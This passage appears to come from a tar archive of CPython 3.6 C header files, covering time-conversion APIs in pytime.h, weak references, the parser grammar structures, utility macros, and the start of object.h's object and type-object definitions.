(related to another date, like UNIX epoch). */ typedef int64_t _PyTime_t; #define _PyTime_MIN PY_LLONG_MIN #define _PyTime_MAX PY_LLONG_MAX typedef enum { /* Round towards minus infinity (-inf). For example, used to read a clock. */ _PyTime_ROUND_FLOOR=0, /* Round towards infinity (+inf). For example, used for timeout to wait "at least" N seconds. */ _PyTime_ROUND_CEILING=1, /* Round to nearest with ties going to nearest even integer. For example, used to round from a Python float. */ _PyTime_ROUND_HALF_EVEN=2, /* Round away from zero For example, used for timeout. _PyTime_ROUND_CEILING rounds -1e-9 to 0 milliseconds which causes bpo-31786 issue. _PyTime_ROUND_UP rounds -1e-9 to -1 millisecond which keeps the timeout sign as expected. select.poll(timeout) must block for negative values." */ _PyTime_ROUND_UP=3, /* _PyTime_ROUND_TIMEOUT (an alias for _PyTime_ROUND_UP) should be used for timeouts. */ _PyTime_ROUND_TIMEOUT = _PyTime_ROUND_UP } _PyTime_round_t; /* Convert a time_t to a PyLong. */ PyAPI_FUNC(PyObject *) _PyLong_FromTime_t( time_t sec); /* Convert a PyLong to a time_t. */ PyAPI_FUNC(time_t) _PyLong_AsTime_t( PyObject *obj); /* Convert a number of seconds, int or float, to time_t. */ PyAPI_FUNC(int) _PyTime_ObjectToTime_t( PyObject *obj, time_t *sec, _PyTime_round_t); /* Convert a number of seconds, int or float, to a timeval structure. usec is in the range [0; 999999] and rounded towards zero. For example, -1.2 is converted to (-2, 800000). */ PyAPI_FUNC(int) _PyTime_ObjectToTimeval( PyObject *obj, time_t *sec, long *usec, _PyTime_round_t); /* Convert a number of seconds, int or float, to a timespec structure. nsec is in the range [0; 999999999] and rounded towards zero. For example, -1.2 is converted to (-2, 800000000). */ PyAPI_FUNC(int) _PyTime_ObjectToTimespec( PyObject *obj, time_t *sec, long *nsec, _PyTime_round_t); /* Create a timestamp from a number of seconds. */ PyAPI_FUNC(_PyTime_t) _PyTime_FromSeconds(int seconds); /* Macro to create a timestamp from a number of seconds, no integer overflow. Only use the macro for small values, prefer _PyTime_FromSeconds(). */ #define _PYTIME_FROMSECONDS(seconds) \ ((_PyTime_t)(seconds) * (1000 * 1000 * 1000)) /* Create a timestamp from a number of nanoseconds. */ PyAPI_FUNC(_PyTime_t) _PyTime_FromNanoseconds(long long ns); /* Convert a number of seconds (Python float or int) to a timetamp. Raise an exception and return -1 on error, return 0 on success. */ PyAPI_FUNC(int) _PyTime_FromSecondsObject(_PyTime_t *t, PyObject *obj, _PyTime_round_t round); /* Convert a number of milliseconds (Python float or int, 10^-3) to a timetamp. Raise an exception and return -1 on error, return 0 on success. */ PyAPI_FUNC(int) _PyTime_FromMillisecondsObject(_PyTime_t *t, PyObject *obj, _PyTime_round_t round); /* Convert a timestamp to a number of seconds as a C double. */ PyAPI_FUNC(double) _PyTime_AsSecondsDouble(_PyTime_t t); /* Convert timestamp to a number of milliseconds (10^-3 seconds). */ PyAPI_FUNC(_PyTime_t) _PyTime_AsMilliseconds(_PyTime_t t, _PyTime_round_t round); /* Convert timestamp to a number of microseconds (10^-6 seconds). */ PyAPI_FUNC(_PyTime_t) _PyTime_AsMicroseconds(_PyTime_t t, _PyTime_round_t round); /* Convert timestamp to a number of nanoseconds (10^-9 seconds) as a Python int object. */ PyAPI_FUNC(PyObject *) _PyTime_AsNanosecondsObject(_PyTime_t t); /* Convert a timestamp to a timeval structure (microsecond resolution). tv_usec is always positive. Raise an exception and return -1 if the conversion overflowed, return 0 on success. */ PyAPI_FUNC(int) _PyTime_AsTimeval(_PyTime_t t, struct timeval *tv, _PyTime_round_t round); /* Similar to _PyTime_AsTimeval(), but don't raise an exception on error. */ PyAPI_FUNC(int) _PyTime_AsTimeval_noraise(_PyTime_t t, struct timeval *tv, _PyTime_round_t round); /* Convert a timestamp to a number of seconds (secs) and microseconds (us). us is always positive. This function is similar to _PyTime_AsTimeval() except that secs is always a time_t type, whereas the timeval structure uses a C long for tv_sec on Windows. Raise an exception and return -1 if the conversion overflowed, return 0 on success. */ PyAPI_FUNC(int) _PyTime_AsTimevalTime_t( _PyTime_t t, time_t *secs, int *us, _PyTime_round_t round); #if defined(HAVE_CLOCK_GETTIME) || defined(HAVE_KQUEUE) /* Convert a timestamp to a timespec structure (nanosecond resolution). tv_nsec is always positive. Raise an exception and return -1 on error, return 0 on success. */ PyAPI_FUNC(int) _PyTime_AsTimespec(_PyTime_t t, struct timespec *ts); #endif /* Get the current time from the system clock. The function cannot fail. _PyTime_Init() ensures that the system clock works. */ PyAPI_FUNC(_PyTime_t) _PyTime_GetSystemClock(void); /* Get the time of a monotonic clock, i.e. a clock that cannot go backwards. The clock is not affected by system clock updates. The reference point of the returned value is undefined, so that only the difference between the results of consecutive calls is valid. The function cannot fail. _PyTime_Init() ensures that a monotonic clock is available and works. */ PyAPI_FUNC(_PyTime_t) _PyTime_GetMonotonicClock(void); /* Structure used by time.get_clock_info() */ typedef struct { const char *implementation; int monotonic; int adjustable; double resolution; } _Py_clock_info_t; /* Get the current time from the system clock. * Fill clock information if info is not NULL. * Raise an exception and return -1 on error, return 0 on success. */ PyAPI_FUNC(int) _PyTime_GetSystemClockWithInfo( _PyTime_t *t, _Py_clock_info_t *info); /* Get the time of a monotonic clock, i.e. a clock that cannot go backwards. The clock is not affected by system clock updates. The reference point of the returned value is undefined, so that only the difference between the results of consecutive calls is valid. Fill info (if set) with information of the function used to get the time. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyTime_GetMonotonicClockWithInfo( _PyTime_t *t, _Py_clock_info_t *info); /* Initialize time. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyTime_Init(void); /* Converts a timestamp to the Gregorian time, using the local time zone. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyTime_localtime(time_t t, struct tm *tm); /* Converts a timestamp to the Gregorian time, assuming UTC. Return 0 on success, raise an exception and return -1 on error. */ PyAPI_FUNC(int) _PyTime_gmtime(time_t t, struct tm *tm); #ifdef __cplusplus } #endif #endif /* Py_PYTIME_H */ #endif /* Py_LIMITED_API */ python3.6m/weakrefobject.h 0000644 00000005462 15246445047 0011477 0 ustar 00 /* Weak references objects for Python. */ #ifndef Py_WEAKREFOBJECT_H #define Py_WEAKREFOBJECT_H #ifdef __cplusplus extern "C" { #endif typedef struct _PyWeakReference PyWeakReference; /* PyWeakReference is the base struct for the Python ReferenceType, ProxyType, * and CallableProxyType. */ #ifndef Py_LIMITED_API struct _PyWeakReference { PyObject_HEAD /* The object to which this is a weak reference, or Py_None if none. * Note that this is a stealth reference: wr_object's refcount is * not incremented to reflect this pointer. */ PyObject *wr_object; /* A callable to invoke when wr_object dies, or NULL if none. */ PyObject *wr_callback; /* A cache for wr_object's hash code. As usual for hashes, this is -1 * if the hash code isn't known yet. */ Py_hash_t hash; /* If wr_object is weakly referenced, wr_object has a doubly-linked NULL- * terminated list of weak references to it. These are the list pointers. * If wr_object goes away, wr_object is set to Py_None, and these pointers * have no meaning then. */ PyWeakReference *wr_prev; PyWeakReference *wr_next; }; #endif PyAPI_DATA(PyTypeObject) _PyWeakref_RefType; PyAPI_DATA(PyTypeObject) _PyWeakref_ProxyType; PyAPI_DATA(PyTypeObject) _PyWeakref_CallableProxyType; #define PyWeakref_CheckRef(op) PyObject_TypeCheck(op, &_PyWeakref_RefType) #define PyWeakref_CheckRefExact(op) \ (Py_TYPE(op) == &_PyWeakref_RefType) #define PyWeakref_CheckProxy(op) \ ((Py_TYPE(op) == &_PyWeakref_ProxyType) || \ (Py_TYPE(op) == &_PyWeakref_CallableProxyType)) #define PyWeakref_Check(op) \ (PyWeakref_CheckRef(op) || PyWeakref_CheckProxy(op)) PyAPI_FUNC(PyObject *) PyWeakref_NewRef(PyObject *ob, PyObject *callback); PyAPI_FUNC(PyObject *) PyWeakref_NewProxy(PyObject *ob, PyObject *callback); PyAPI_FUNC(PyObject *) PyWeakref_GetObject(PyObject *ref); #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyWeakref_GetWeakrefCount(PyWeakReference *head); PyAPI_FUNC(void) _PyWeakref_ClearRef(PyWeakReference *self); #endif /* Explanation for the Py_REFCNT() check: when a weakref's target is part of a long chain of deallocations which triggers the trashcan mechanism, clearing the weakrefs can be delayed long after the target's refcount has dropped to zero. In the meantime, code accessing the weakref will be able to "see" the target object even though it is supposed to be unreachable. See issue #16602. */ #define PyWeakref_GET_OBJECT(ref) \ (Py_REFCNT(((PyWeakReference *)(ref))->wr_object) > 0 \ ? ((PyWeakReference *)(ref))->wr_object \ : Py_None) #ifdef __cplusplus } #endif #endif /* !Py_WEAKREFOBJECT_H */ python3.6m/grammar.h 0000644 00000004032 15246445047 0010302 0 ustar 00 /* Grammar interface */ #ifndef Py_GRAMMAR_H #define Py_GRAMMAR_H #ifdef __cplusplus extern "C" { #endif #include "bitset.h" /* Sigh... */ /* A label of an arc */ typedef struct { int lb_type; char *lb_str; } label; #define EMPTY 0 /* Label number 0 is by definition the empty label */ /* A list of labels */ typedef struct { int ll_nlabels; label *ll_label; } labellist; /* An arc from one state to another */ typedef struct { short a_lbl; /* Label of this arc */ short a_arrow; /* State where this arc goes to */ } arc; /* A state in a DFA */ typedef struct { int s_narcs; arc *s_arc; /* Array of arcs */ /* Optional accelerators */ int s_lower; /* Lowest label index */ int s_upper; /* Highest label index */ int *s_accel; /* Accelerator */ int s_accept; /* Nonzero for accepting state */ } state; /* A DFA */ typedef struct { int d_type; /* Non-terminal this represents */ char *d_name; /* For printing */ int d_initial; /* Initial state */ int d_nstates; state *d_state; /* Array of states */ bitset d_first; } dfa; /* A grammar */ typedef struct { int g_ndfas; dfa *g_dfa; /* Array of DFAs */ labellist g_ll; int g_start; /* Start symbol of the grammar */ int g_accel; /* Set if accelerators present */ } grammar; /* FUNCTIONS */ grammar *newgrammar(int start); void freegrammar(grammar *g); dfa *adddfa(grammar *g, int type, const char *name); int addstate(dfa *d); void addarc(dfa *d, int from, int to, int lbl); dfa *PyGrammar_FindDFA(grammar *g, int type); int addlabel(labellist *ll, int type, const char *str); int findlabel(labellist *ll, int type, const char *str); const char *PyGrammar_LabelRepr(label *lb); void translatelabels(grammar *g); void addfirstsets(grammar *g); void PyGrammar_AddAccelerators(grammar *g); void PyGrammar_RemoveAccelerators(grammar *); void printgrammar(grammar *g, FILE *fp); void printnonterminals(grammar *g, FILE *fp); #ifdef __cplusplus } #endif #endif /* !Py_GRAMMAR_H */ python3.6m/pymacro.h 0000644 00000006654 15246445047 0010342 0 ustar 00 #ifndef Py_PYMACRO_H #define Py_PYMACRO_H /* Minimum value between x and y */ #define Py_MIN(x, y) (((x) > (y)) ? (y) : (x)) /* Maximum value between x and y */ #define Py_MAX(x, y) (((x) > (y)) ? (x) : (y)) /* Absolute value of the number x */ #define Py_ABS(x) ((x) < 0 ? -(x) : (x)) #define _Py_XSTRINGIFY(x) #x /* Convert the argument to a string. For example, Py_STRINGIFY(123) is replaced with "123" by the preprocessor. Defines are also replaced by their value. For example Py_STRINGIFY(__LINE__) is replaced by the line number, not by "__LINE__". */ #define Py_STRINGIFY(x) _Py_XSTRINGIFY(x) /* Get the size of a structure member in bytes */ #define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) /* Argument must be a char or an int in [-128, 127] or [0, 255]. */ #define Py_CHARMASK(c) ((unsigned char)((c) & 0xff)) /* Assert a build-time dependency, as an expression. Your compile will fail if the condition isn't true, or can't be evaluated by the compiler. This can be used in an expression: its value is 0. Example: #define foo_to_char(foo) \ ((char *)(foo) \ + Py_BUILD_ASSERT_EXPR(offsetof(struct foo, string) == 0)) Written by Rusty Russell, public domain, http://ccodearchive.net/ */ #define Py_BUILD_ASSERT_EXPR(cond) \ (sizeof(char [1 - 2*!(cond)]) - 1) #define Py_BUILD_ASSERT(cond) do { \ (void)Py_BUILD_ASSERT_EXPR(cond); \ } while(0) /* Get the number of elements in a visible array This does not work on pointers, or arrays declared as [], or function parameters. With correct compiler support, such usage will cause a build error (see Py_BUILD_ASSERT_EXPR). Written by Rusty Russell, public domain, http://ccodearchive.net/ Requires at GCC 3.1+ */ #if (defined(__GNUC__) && !defined(__STRICT_ANSI__) && \ (((__GNUC__ == 3) && (__GNU_MINOR__ >= 1)) || (__GNUC__ >= 4))) /* Two gcc extensions. &a[0] degrades to a pointer: a different type from an array */ #define Py_ARRAY_LENGTH(array) \ (sizeof(array) / sizeof((array)[0]) \ + Py_BUILD_ASSERT_EXPR(!__builtin_types_compatible_p(typeof(array), \ typeof(&(array)[0])))) #else #define Py_ARRAY_LENGTH(array) \ (sizeof(array) / sizeof((array)[0])) #endif /* Define macros for inline documentation. */ #define PyDoc_VAR(name) static char name[] #define PyDoc_STRVAR(name,str) PyDoc_VAR(name) = PyDoc_STR(str) #ifdef WITH_DOC_STRINGS #define PyDoc_STR(str) str #else #define PyDoc_STR(str) "" #endif /* Below "a" is a power of 2. */ /* Round down size "n" to be a multiple of "a". */ #define _Py_SIZE_ROUND_DOWN(n, a) ((size_t)(n) & ~(size_t)((a) - 1)) /* Round up size "n" to be a multiple of "a". */ #define _Py_SIZE_ROUND_UP(n, a) (((size_t)(n) + \ (size_t)((a) - 1)) & ~(size_t)((a) - 1)) /* Round pointer "p" down to the closest "a"-aligned address <= "p". */ #define _Py_ALIGN_DOWN(p, a) ((void *)((uintptr_t)(p) & ~(uintptr_t)((a) - 1))) /* Round pointer "p" up to the closest "a"-aligned address >= "p". */ #define _Py_ALIGN_UP(p, a) ((void *)(((uintptr_t)(p) + \ (uintptr_t)((a) - 1)) & ~(uintptr_t)((a) - 1))) /* Check if pointer "p" is aligned to "a"-bytes boundary. */ #define _Py_IS_ALIGNED(p, a) (!((uintptr_t)(p) & (uintptr_t)((a) - 1))) #ifdef __GNUC__ #define Py_UNUSED(name) _unused_ ## name __attribute__((unused)) #else #define Py_UNUSED(name) _unused_ ## name #endif #endif /* Py_PYMACRO_H */ python3.6m/object.h 0000644 00000122333 15246445047 0010127 0 ustar 00 #ifndef Py_OBJECT_H #define Py_OBJECT_H #ifdef __cplusplus extern "C" { #endif /* Object and type object interface */ /* Objects are structures allocated on the heap. Special rules apply to the use of objects to ensure they are properly garbage-collected. Objects are never allocated statically or on the stack; they must be accessed through special macros and functions only. (Type objects are exceptions to the first rule; the standard types are represented by statically initialized type objects, although work on type/class unification for Python 2.2 made it possible to have heap-allocated type objects too). An object has a 'reference count' that is increased or decreased when a pointer to the object is copied or deleted; when the reference count reaches zero there are no references to the object left and it can be removed from the heap. An object has a 'type' that determines what it represents and what kind of data it contains. An object's type is fixed when it is created. Types themselves are represented as objects; an object contains a pointer to the corresponding type object. The type itself has a type pointer pointing to the object representing the type 'type', which contains a pointer to itself!). Objects do not float around in memory; once allocated an object keeps the same size and address. Objects that must hold variable-size data can contain pointers to variable-size parts of the object. Not all objects of the same type have the same size; but the size cannot change after allocation. (These restrictions are made so a reference to an object can be simply a pointer -- moving an object would require updating all the pointers, and changing an object's size would require moving it if there was another object right next to it.) Objects are always accessed through pointers of the type 'PyObject *'. The type 'PyObject' is a structure that only contains the reference count and the type pointer. The actual memory allocated for an object contains other data that can only be accessed after casting the pointer to a pointer to a longer structure type. This longer type must start with the reference count and type fields; the macro PyObject_HEAD should be used for this (to accommodate for future changes). The implementation of a particular object type can cast the object pointer to the proper type and back. A standard interface exists for objects that contain an array of items whose size is determined when the object is allocated. */ /* Py_DEBUG implies Py_TRACE_REFS. */ #if defined(Py_DEBUG) && !defined(Py_TRACE_REFS) #define Py_TRACE_REFS #endif /* Py_TRACE_REFS implies Py_REF_DEBUG. */ #if defined(Py_TRACE_REFS) && !defined(Py_REF_DEBUG) #define Py_REF_DEBUG #endif #if defined(Py_LIMITED_API) && defined(Py_REF_DEBUG) #error Py_LIMITED_API is incompatible with Py_DEBUG, Py_TRACE_REFS, and Py_REF_DEBUG #endif #ifdef Py_TRACE_REFS /* Define pointers to support a doubly-linked list of all live heap objects. */ #define _PyObject_HEAD_EXTRA \ struct _object *_ob_next; \ struct _object *_ob_prev; #define _PyObject_EXTRA_INIT 0, 0, #else #define _PyObject_HEAD_EXTRA #define _PyObject_EXTRA_INIT #endif /* PyObject_HEAD defines the initial segment of every PyObject. */ #define PyObject_HEAD PyObject ob_base; #define PyObject_HEAD_INIT(type) \ { _PyObject_EXTRA_INIT \ 1, type }, #define PyVarObject_HEAD_INIT(type, size) \ { PyObject_HEAD_INIT(type) size }, /* PyObject_VAR_HEAD defines the initial segment of all variable-size * container objects. These end with a declaration of an array with 1 * element, but enough space is malloc'ed so that the array actually * has room for ob_size elements. Note that ob_size is an element count, * not necessarily a byte count. */ #define PyObject_VAR_HEAD PyVarObject ob_base; #define Py_INVALID_SIZE (Py_ssize_t)-1 /* Nothing is actually declared to be a PyObject, but every pointer to * a Python object can be cast to a PyObject*. This is inheritance built * by hand. Similarly every pointer to a variable-size Python object can, * in addition, be cast to PyVarObject*. */ typedef struct _object { _PyObject_HEAD_EXTRA Py_ssize_t ob_refcnt; struct _typeobject *ob_type; } PyObject; typedef struct { PyObject ob_base; Py_ssize_t ob_size; /* Number of items in variable part */ } PyVarObject; #define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt) #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) #define Py_SIZE(ob) (((PyVarObject*)(ob))->ob_size) #ifndef Py_LIMITED_API /********************* String Literals ****************************************/ /* This structure helps managing static strings. The basic usage goes like this: Instead of doing r = PyObject_CallMethod(o, "foo", "args", ...); do _Py_IDENTIFIER(foo); ... r = _PyObject_CallMethodId(o, &PyId_foo, "args", ...); PyId_foo is a static variable, either on block level or file level. On first usage, the string "foo" is interned, and the structures are linked. On interpreter shutdown, all strings are released (through _PyUnicode_ClearStaticStrings). Alternatively, _Py_static_string allows choosing the variable name. _PyUnicode_FromId returns a borrowed reference to the interned string. _PyObject_{Get,Set,Has}AttrId are __getattr__ versions using _Py_Identifier*. */ typedef struct _Py_Identifier { struct _Py_Identifier *next; const char* string; PyObject *object; } _Py_Identifier; #define _Py_static_string_init(value) { .next = NULL, .string = value, .object = NULL } #define _Py_static_string(varname, value) static _Py_Identifier varname = _Py_static_string_init(value) #define _Py_IDENTIFIER(varname) _Py_static_string(PyId_##varname, #varname) #endif /* !Py_LIMITED_API */ /* Type objects contain a string containing the type name (to help somewhat in debugging), the allocation parameters (see PyObject_New() and PyObject_NewVar()), and methods for accessing objects of the type. Methods are optional, a nil pointer meaning that particular kind of access is not available for this type. The Py_DECREF() macro uses the tp_dealloc method without checking for a nil pointer; it should always be implemented except if the implementation can guarantee that the reference count will never reach zero (e.g., for statically allocated type objects). NB: the methods for certain type groups are now contained in separate method blocks. */ typedef PyObject * (*unaryfunc)(PyObject *); typedef PyObject * (*binaryfunc)(PyObject *, PyObject *); typedef PyObject * (*ternaryfunc)(PyObject *, PyObject *, PyObject *); typedef int (*inquiry)(PyObject *); typedef Py_ssize_t (*lenfunc)(PyObject *); typedef PyObject *(*ssizeargfunc)(PyObject *, Py_ssize_t); typedef PyObject *(*ssizessizeargfunc)(PyObject *, Py_ssize_t, Py_ssize_t); typedef int(*ssizeobjargproc)(PyObject *, Py_ssize_t, PyObject *); typedef int(*ssizessizeobjargproc)(PyObject *, Py_ssize_t, Py_ssize_t, PyObject *); typedef int(*objobjargproc)(PyObject *, PyObject *, PyObject *); #ifndef Py_LIMITED_API /* buffer interface */ typedef struct bufferinfo { void *buf; PyObject *obj; /* owned reference */ Py_ssize_t len; Py_ssize_t itemsize; /* This is Py_ssize_t so it can be pointed to by strides in simple case.*/ int readonly; int ndim; char *format; Py_ssize_t *shape; Py_ssize_t *strides; Py_ssize_t *suboffsets; void *internal; } Py_buffer; typedef int (*getbufferproc)(PyObject *, Py_buffer *, int); typedef void (*releasebufferproc)(PyObject *, Py_buffer *); /* Maximum number of dimensions */ #define PyBUF_MAX_NDIM 64 /* Flags for getting buffers */ #define PyBUF_SIMPLE 0 #define PyBUF_WRITABLE 0x0001 /* we used to include an E, backwards compatible alias */ #define PyBUF_WRITEABLE PyBUF_WRITABLE #define PyBUF_FORMAT 0x0004 #define PyBUF_ND 0x0008 #define PyBUF_STRIDES (0x0010 | PyBUF_ND) #define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES) #define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES) #define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES) #define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES) #define PyBUF_CONTIG (PyBUF_ND | PyBUF_WRITABLE) #define PyBUF_CONTIG_RO (PyBUF_ND) #define PyBUF_STRIDED (PyBUF_STRIDES | PyBUF_WRITABLE) #define PyBUF_STRIDED_RO (PyBUF_STRIDES) #define PyBUF_RECORDS (PyBUF_STRIDES | PyBUF_WRITABLE | PyBUF_FORMAT) #define PyBUF_RECORDS_RO (PyBUF_STRIDES | PyBUF_FORMAT) #define PyBUF_FULL (PyBUF_INDIRECT | PyBUF_WRITABLE | PyBUF_FORMAT) #define PyBUF_FULL_RO (PyBUF_INDIRECT | PyBUF_FORMAT) #define PyBUF_READ 0x100 #define PyBUF_WRITE 0x200 /* End buffer interface */ #endif /* Py_LIMITED_API */ typedef int (*objobjproc)(PyObject *, PyObject *); typedef int (*visitproc)(PyObject *, void *); typedef int (*traverseproc)(PyObject *, visitproc, void *); #ifndef Py_LIMITED_API typedef struct { /* Number implementations must check *both* arguments for proper type and implement the necessary conversions in the slot functions themselves. */ binaryfunc nb_add; binaryfunc nb_subtract; binaryfunc nb_multiply; binaryfunc nb_remainder; binaryfunc nb_divmod; ternaryfunc nb_power; unaryfunc nb_negative; unaryfunc nb_positive; unaryfunc nb_absolute; inquiry nb_bool; unaryfunc nb_invert; binaryfunc nb_lshift; binaryfunc nb_rshift; binaryfunc nb_and; binaryfunc nb_xor; binaryfunc nb_or; unaryfunc nb_int; void *nb_reserved; /* the slot formerly known as nb_long */ unaryfunc nb_float; binaryfunc nb_inplace_add; binaryfunc nb_inplace_subtract; binaryfunc nb_inplace_multiply; binaryfunc nb_inplace_remainder; ternaryfunc nb_inplace_power; binaryfunc nb_inplace_lshift; binaryfunc nb_inplace_rshift; binaryfunc nb_inplace_and; binaryfunc nb_inplace_xor; binaryfunc nb_inplace_or; binaryfunc nb_floor_divide; binaryfunc nb_true_divide; binaryfunc nb_inplace_floor_divide; binaryfunc nb_inplace_true_divide; unaryfunc nb_index; binaryfunc nb_matrix_multiply; binaryfunc nb_inplace_matrix_multiply; } PyNumberMethods; typedef struct { lenfunc sq_length; binaryfunc sq_concat; ssizeargfunc sq_repeat; ssizeargfunc sq_item; void *was_sq_slice; ssizeobjargproc sq_ass_item; void *was_sq_ass_slice; objobjproc sq_contains; binaryfunc sq_inplace_concat; ssizeargfunc sq_inplace_repeat; } PySequenceMethods; typedef struct { lenfunc mp_length; binaryfunc mp_subscript; objobjargproc mp_ass_subscript; } PyMappingMethods; typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } PyAsyncMethods; typedef struct { getbufferproc bf_getbuffer; releasebufferproc bf_releasebuffer; } PyBufferProcs; #endif /* Py_LIMITED_API */ typedef void (*freefunc)(void *); typedef void (*destructor)(PyObject *); #ifndef Py_LIMITED_API /* We can't provide a full compile-time check that limited-API users won't implement tp_print. However, not defining printfunc and making tp_print of a different function pointer type should at least cause a warning in most cases. */ typedef int (*printfunc)(PyObject *, FILE *, int); #endif typedef PyObject *(*getattrfunc)(PyObject *, char *); typedef PyObject *(*getattrofunc)(PyObject *, PyObject *); typedef int (*setattrfunc)(PyObject *, char *, PyObject *); typedef int (*setattrofunc)(PyObject *, PyObject *, PyObject *); typedef PyObject *(*reprfunc)(PyObject *); typedef Py_hash_t (*hashfunc)(PyObject *); typedef PyObject *(*richcmpfunc) (PyObject *, PyObject *, int); typedef PyObject *(*getiterfunc) (PyObject *); typedef PyObject *(*iternextfunc) (PyObject *); typedef PyObject *(*descrgetfunc) (PyObject *, PyObject *, PyObject *); typedef int (*descrsetfunc) (PyObject *, PyObject *, PyObject *); typedef int (*initproc)(PyObject *, PyObject *, PyObject *); typedef PyObject *(*newfunc)(struct _typeobject *, PyObject *, PyObject *); typedef PyObject *(*allocfunc)(struct _typeobject *, Py_ssize_t); #ifdef Py_LIMITED_API typedef struct _typeobject PyTypeObject; /* opaque */ #else typedef struct _typeobject { PyObject_VAR_HEAD const char *tp_name; /* For printing, in format "<module>.<name>" */ Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ /* Methods to implement standard operations */ destructor tp_dealloc; printfunc tp_print; getattrfunc tp_getattr; setattrfunc tp_setattr; PyAsyncMethods *tp_as_async; /* formerly known as tp_compare (Python 2) or tp_reserved (Python 3) */ reprfunc tp_repr; /* Method suites for standard classes */ PyNumberMethods *tp_as_number; PySequenceMethods *tp_as_sequence; PyMappingMethods *tp_as_mapping; /* More standard operations (here for binary compatibility) */ hashfunc tp_hash; ternaryfunc tp_call; reprfunc tp_str; getattrofunc tp_getattro; setattrofunc tp_setattro; /* Functions to access object as input/output buffer */ PyBufferProcs *tp_as_buffer; /* Flags to define presence of optional/expanded features */ unsigned long tp_flags; const char *tp_doc; /* Documentation string */ /* Assigned meaning in release 2.0 */ /* call function for all accessible objects */ traverseproc tp_traverse; /* delete references to contained objects */ inquiry tp_clear; /* Assigned meaning in release 2.1 */ /* rich comparisons */ richcmpfunc tp_richcompare; /* weak reference enabler */ Py_ssize_t tp_weaklistoffset; /* Iterators */ getiterfunc tp_iter; iternextfunc tp_iternext; /* Attribute descriptor and subclassing stuff */ struct PyMethodDef *tp_methods; struct PyMemberDef *tp_members; struct PyGetSetDef *tp_getset; struct _typeobject *tp_base; PyObject *tp_dict; descrgetfunc tp_descr_get; descrsetfunc tp_descr_set; Py_ssize_t tp_dictoffset; initproc tp_init; allocfunc tp_alloc; newfunc tp_new; freefunc tp_free; /* Low-level free-memory routine */ inquiry tp_is_gc; /* For PyObject_IS_GC */ PyObject *tp_bases; PyObject *tp_mro; /* method resolution order */ PyObject *tp_cache; PyObject *tp_subclasses; PyObject *tp_weaklist; destructor tp_del; /* Type attribute cache version tag. Added in version 2.6 */ unsigned int tp_version_tag; destructor tp_finalize; #ifdef COUNT_ALLOCS /* these must be last and never explicitly initialized */ Py_ssize_t tp_allocs; Py_ssize_t tp_frees; Py_ssize_t tp_maxalloc; struct _typeobject *tp_prev; struct _typeobject *tp_next; #endif } PyTypeObject; #endif typedef struct{ int slot; /* slot id, see below */ void *pfunc; /* function pointer */ } PyType_Slot; typedef struct{ const char* name; int basicsize; int itemsize; unsigned int flags; PyType_Slot *slots; /* terminated by slot==0. */ } PyType_Spec; PyAPI_FUNC(PyObject*) PyType_FromSpec(PyType_Spec*); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject*) PyType_FromSpecWithBases(PyType_Spec*, PyObject*); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03040000 PyAPI_FUNC(void*) PyType_GetSlot(PyTypeObject*, int); #endif #ifndef Py_LIMITED_API /* The *real* layout of a type object when allocated on the heap */ typedef struct _heaptypeobject { /* Note: there's a dependency on the order of these members in slotptr() in typeobject.c . */ PyTypeObject ht_type; PyAsyncMethods as_async; PyNumberMethods as_number; PyMappingMethods as_mapping; PySequenceMethods as_sequence; /* as_sequence comes after as_mapping, so that the mapping wins when both the mapping and the sequence define a given operator (e.g. __getitem__). see add_operators() in typeobject.c . */ PyBufferProcs as_buffer; PyObject *ht_name, *ht_slots, *ht_qualname; struct _dictkeysobject *ht_cached_keys; /* here are optional user slots, followed by the members. */ } PyHeapTypeObject; /* access macro to the members which are floating "behind" the object */ #define PyHeapType_GET_MEMBERS(etype) \ ((PyMemberDef *)(((char *)etype) + Py_TYPE(etype)->tp_basicsize)) #endif /* Generic type check */ PyAPI_FUNC(int) PyType_IsSubtype(PyTypeObject *, PyTypeObject *); #define PyObject_TypeCheck(ob, tp) \ (Py_TYPE(ob) == (tp) || PyType_IsSubtype(Py_TYPE(ob), (tp))) PyAPI_DATA(PyTypeObject) PyType_Type; /* built-in 'type' */ PyAPI_DATA(PyTypeObject) PyBaseObject_Type; /* built-in 'object' */ PyAPI_DATA(PyTypeObject) PySuper_Type; /* built-in 'super' */ PyAPI_FUNC(unsigned long) PyType_GetFlags(PyTypeObject*); #define PyType_Check(op) \ PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_TYPE_SUBCLASS) #define PyType_CheckExact(op) (Py_TYPE(op) == &PyType_Type) PyAPI_FUNC(int) PyType_Ready(PyTypeObject *); PyAPI_FUNC(PyObject *) PyType_GenericAlloc(PyTypeObject *, Py_ssize_t); PyAPI_FUNC(PyObject *) PyType_GenericNew(PyTypeObject *, PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyType_Lookup(PyTypeObject *, PyObject *); PyAPI_FUNC(PyObject *) _PyType_LookupId(PyTypeObject *, _Py_Identifier *); PyAPI_FUNC(PyObject *) _PyObject_LookupSpecial(PyObject *, _Py_Identifier *); PyAPI_FUNC(PyTypeObject *) _PyType_CalculateMetaclass(PyTypeObject *, PyObject *); #endif PyAPI_FUNC(unsigned int) PyType_ClearCache(void); PyAPI_FUNC(void) PyType_Modified(PyTypeObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyType_GetDocFromInternalDoc(const char *, const char *); PyAPI_FUNC(PyObject *) _PyType_GetTextSignatureFromInternalDoc(const char *, const char *); #endif /* Generic operations on objects */ #ifndef Py_LIMITED_API struct _Py_Identifier; PyAPI_FUNC(int) PyObject_Print(PyObject *, FILE *, int); 